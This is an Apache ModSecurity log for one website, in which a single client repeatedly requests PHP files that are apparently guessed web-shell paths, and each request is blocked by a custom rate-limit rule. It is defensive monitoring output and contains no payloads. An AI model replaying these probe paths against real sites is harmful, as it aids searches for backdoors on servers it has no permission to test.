[Sun Apr 19 19:11:13.445880 2026] [:error] [pid 15764:tid 15834] [client 68.221.129.115:33840] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "aeS4UWLL_sqdSHoVp-TfzAAAAkg"]
[Sun Apr 19 19:11:14.904814 2026] [:error] [pid 15764:tid 15835] [client 68.221.129.115:48978] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "aeS4UmLL_sqdSHoVp-Tf1QAAAkk"]
[Sun Apr 19 19:11:16.150409 2026] [:error] [pid 47775:tid 47845] [client 68.221.129.115:43702] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "aeS4VLmztjlk9tsmoez_lwAAAII"]
[Sun Apr 19 19:11:17.251648 2026] [:error] [pid 15764:tid 15840] [client 68.221.129.115:37059] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "aeS4VWLL_sqdSHoVp-Tf4gAAAk4"]
[Sun Apr 19 19:11:18.186763 2026] [:error] [pid 15760:tid 15787] [client 68.221.129.115:63453] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeS4VvSdD_XHQMJ_ISvmLAAAAdM"]
[Sun Apr 19 19:11:20.573035 2026] [:error] [pid 47775:tid 47843] [client 68.221.129.115:56771] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeS4WLmztjlk9tsmoez_ogAAAIA"]
[Sun Apr 19 19:11:22.123378 2026] [:error] [pid 15694:tid 15733] [client 68.221.129.115:31359] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeS4WrimB-jol1fwqAr_OwAAAYc"]
[Sun Apr 19 19:11:23.662623 2026] [:error] [pid 15760:tid 15787] [client 68.221.129.115:40670] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeS4W_SdD_XHQMJ_ISvmOwAAAdM"]
[Sun Apr 19 19:11:24.524325 2026] [:error] [pid 47775:tid 47849] [client 68.221.129.115:51792] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aeS4XLmztjlk9tsmoez_pAAAAIY"]
[Sun Apr 19 19:11:27.388432 2026] [:error] [pid 15760:tid 15773] [client 68.221.129.115:63475] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aeS4X_SdD_XHQMJ_ISvmQgAAAcU"]
[Sun Apr 19 19:11:28.586209 2026] [:error] [pid 47886:tid 47907] [client 68.221.129.115:51830] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aeS4YESe8yiyuPrD7yNkXAAAANM"]
[Sun Apr 19 19:11:30.537713 2026] [:error] [pid 15764:tid 15847] [client 68.221.129.115:40702] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aeS4YmLL_sqdSHoVp-Tf9wAAAlU"]
[Sun Apr 19 19:11:34.340998 2026] [:error] [pid 15760:tid 15780] [client 68.221.129.115:40681] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeS4ZvSdD_XHQMJ_ISvmUwAAAcw"]
[Sun Apr 19 19:12:21.708062 2026] [:error] [pid 15760:tid 15781] [client 68.221.129.115:37117] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeS4lfSdD_XHQMJ_ISvmtgAAAc0"]
[Sun Apr 19 19:12:24.095813 2026] [:error] [pid 15763:tid 15803] [client 68.221.129.115:38349] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeS4mLMXv1Y1THOoxaDVaAAAAgc"]
[Sun Apr 19 19:12:25.407066 2026] [:error] [pid 15693:tid 15717] [client 68.221.129.115:40060] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeS4mcNMD-ccazQlTslNzwAAAVU"]
[Sun Apr 19 19:12:26.364705 2026] [:error] [pid 15763:tid 15800] [client 68.221.129.115:38341] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeS4mrMXv1Y1THOoxaDVbgAAAgQ"]
[Sun Apr 19 19:12:28.710748 2026] [:error] [pid 15693:tid 15705] [client 68.221.129.115:40037] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeS4nMNMD-ccazQlTslN0wAAAUk"]
[Sun Apr 19 19:12:29.943442 2026] [:error] [pid 47886:tid 47912] [client 68.221.129.115:38353] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeS4nUSe8yiyuPrD7yNkjgAAANg"]
[Sun Apr 19 19:12:31.151267 2026] [:error] [pid 15763:tid 15801] [client 68.221.129.115:30630] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeS4n7MXv1Y1THOoxaDVdgAAAgU"]
[Sun Apr 19 19:12:32.255709 2026] [:error] [pid 15763:tid 15802] [client 68.221.129.115:57736] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeS4oLMXv1Y1THOoxaDVgQAAAgY"]
[Sun Apr 19 19:12:33.623559 2026] [:error] [pid 15760:tid 15787] [client 68.221.129.115:38388] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeS4ofSdD_XHQMJ_ISvmxwAAAdM"]
[Sun Apr 19 19:12:34.701283 2026] [:error] [pid 15764:tid 15839] [client 68.221.129.115:57791] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeS4omLL_sqdSHoVp-TgTwAAAk0"]
[Sun Apr 19 19:12:36.210949 2026] [:error] [pid 15760:tid 15771] [client 68.221.129.115:40063] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeS4pPSdD_XHQMJ_ISvm1AAAAcM"]
[Sun Apr 19 19:12:36.954512 2026] [:error] [pid 47886:tid 47889] [client 68.221.129.115:43696] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeS4pESe8yiyuPrD7yNkkQAAAME"]
[Sun Apr 19 19:12:37.845140 2026] [:error] [pid 47886:tid 47899] [client 68.221.129.115:30627] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeS4pUSe8yiyuPrD7yNkkwAAAMs"]
[Sun Apr 19 19:12:39.125744 2026] [:error] [pid 15764:tid 15826] [client 68.221.129.115:3209] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeS4p2LL_sqdSHoVp-TgYQAAAkA"]
[Sun Apr 19 19:12:40.142519 2026] [:error] [pid 47772:tid 47805] [client 68.221.129.115:51834] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeS4qIc0L16cb4smAz-SWwAAABA"]
[Sun Apr 19 19:12:41.012294 2026] [:error] [pid 15760:tid 15791] [client 68.221.129.115:47144] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeS4qfSdD_XHQMJ_ISvm3QAAAdc"]
[Sun Apr 19 19:12:41.851757 2026] [:error] [pid 15764:tid 15834] [client 68.221.129.115:3339] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeS4qWLL_sqdSHoVp-TgagAAAkg"]
[Sun Apr 19 19:12:42.630927 2026] [:error] [pid 15764:tid 15836] [client 68.221.129.115:3263] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeS4qmLL_sqdSHoVp-TgbwAAAko"]
[Sun Apr 19 19:12:43.856969 2026] [:error] [pid 15764:tid 15836] [client 68.221.129.115:51781] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeS4q2LL_sqdSHoVp-TgfAAAAko"]
[Sun Apr 19 19:12:45.104584 2026] [:error] [pid 15764:tid 15837] [client 68.221.129.115:3222] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeS4rWLL_sqdSHoVp-TghQAAAks"]
[Sun Apr 19 19:12:47.711364 2026] [:error] [pid 15763:tid 15808] [client 68.221.129.115:36438] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeS4r7MXv1Y1THOoxaDVjgAAAgw"]
[Sun Apr 19 19:12:48.535910 2026] [:error] [pid 47773:tid 47833] [client 68.221.129.115:3982] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeS4sOiBHdnCJDuPq9AnagAAAFE"]
[Sun Apr 19 19:12:49.910020 2026] [:error] [pid 15760:tid 15768] [client 68.221.129.115:57750] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeS4sfSdD_XHQMJ_ISvnAwAAAcA"]
[Sun Apr 19 19:12:50.851844 2026] [:error] [pid 15765:tid 15860] [client 68.221.129.115:4023] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeS4svRqinw-W5EwQ77qrQAAAoc"]
[Sun Apr 19 19:12:51.690200 2026] [:error] [pid 47772:tid 47813] [client 68.221.129.115:38356] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeS4s4c0L16cb4smAz-SbwAAABg"]
[Sun Apr 19 19:12:52.832661 2026] [:error] [pid 15760:tid 15781] [client 68.221.129.115:3223] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeS4tPSdD_XHQMJ_ISvnEgAAAc0"]
[Sun Apr 19 19:12:54.156257 2026] [:error] [pid 47886:tid 47897] [client 68.221.129.115:51837] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeS4tkSe8yiyuPrD7yNkoAAAAMk"]
[Sun Apr 19 19:12:54.959416 2026] [:error] [pid 47773:tid 47836] [client 68.221.129.115:30625] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeS4tuiBHdnCJDuPq9AndAAAAFQ"]
[Sun Apr 19 19:12:56.659303 2026] [:error] [pid 47886:tid 47890] [client 68.221.129.115:36459] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeS4uESe8yiyuPrD7yNkogAAAMI"]
[Sun Apr 19 19:12:57.827780 2026] [:error] [pid 15765:tid 15874] [client 68.221.129.115:30612] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeS4ufRqinw-W5EwQ77qtQAAApU"]
[Sun Apr 19 19:12:58.478931 2026] [:error] [pid 15765:tid 15856] [client 68.221.129.115:51776] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeS4uvRqinw-W5EwQ77qtgAAAoM"]
[Sun Apr 19 19:12:59.443107 2026] [:error] [pid 15764:tid 15843] [client 68.221.129.115:30600] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeS4u2LL_sqdSHoVp-TgmwAAAlE"]
[Sun Apr 19 19:13:00.265302 2026] [:error] [pid 15764:tid 15848] [client 68.221.129.115:51776] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeS4vGLL_sqdSHoVp-TgowAAAlY"]
[Sun Apr 19 19:13:01.314144 2026] [:error] [pid 15760:tid 15777] [client 68.221.129.115:38392] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeS4vfSdD_XHQMJ_ISvnJgAAAck"]
[Sun Apr 19 19:13:03.031146 2026] [:error] [pid 47772:tid 47806] [client 68.221.129.115:51809] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeS4v4c0L16cb4smAz-SewAAABE"]
[Sun Apr 19 19:13:04.727527 2026] [:error] [pid 15760:tid 15790] [client 68.221.129.115:3250] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeS4wPSdD_XHQMJ_ISvnKQAAAdY"]
[Sun Apr 19 19:13:05.650215 2026] [:error] [pid 47886:tid 47901] [client 68.221.129.115:51795] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeS4wUSe8yiyuPrD7yNkrQAAAM0"]
[Sun Apr 19 19:13:06.438230 2026] [:error] [pid 15764:tid 15851] [client 68.221.129.115:4000] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeS4wmLL_sqdSHoVp-TgvwAAAlg"]
[Sun Apr 19 19:13:07.958408 2026] [:error] [pid 15760:tid 15770] [client 68.221.129.115:40051] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeS4w_SdD_XHQMJ_ISvnNAAAAcI"]
[Sun Apr 19 19:13:08.876817 2026] [:error] [pid 15760:tid 15785] [client 68.221.129.115:51807] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeS4xPSdD_XHQMJ_ISvnOgAAAdE"]
[Sun Apr 19 19:13:09.473398 2026] [:error] [pid 47886:tid 47898] [client 68.221.129.115:38397] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeS4xUSe8yiyuPrD7yNktAAAAMo"]
[Sun Apr 19 19:13:10.345282 2026] [:error] [pid 15764:tid 15828] [client 68.221.129.115:50056] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeS4xmLL_sqdSHoVp-TgxQAAAkI"]
[Sun Apr 19 19:13:11.255217 2026] [:error] [pid 15764:tid 15842] [client 68.221.129.115:40038] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeS4x2LL_sqdSHoVp-TgyQAAAlA"]
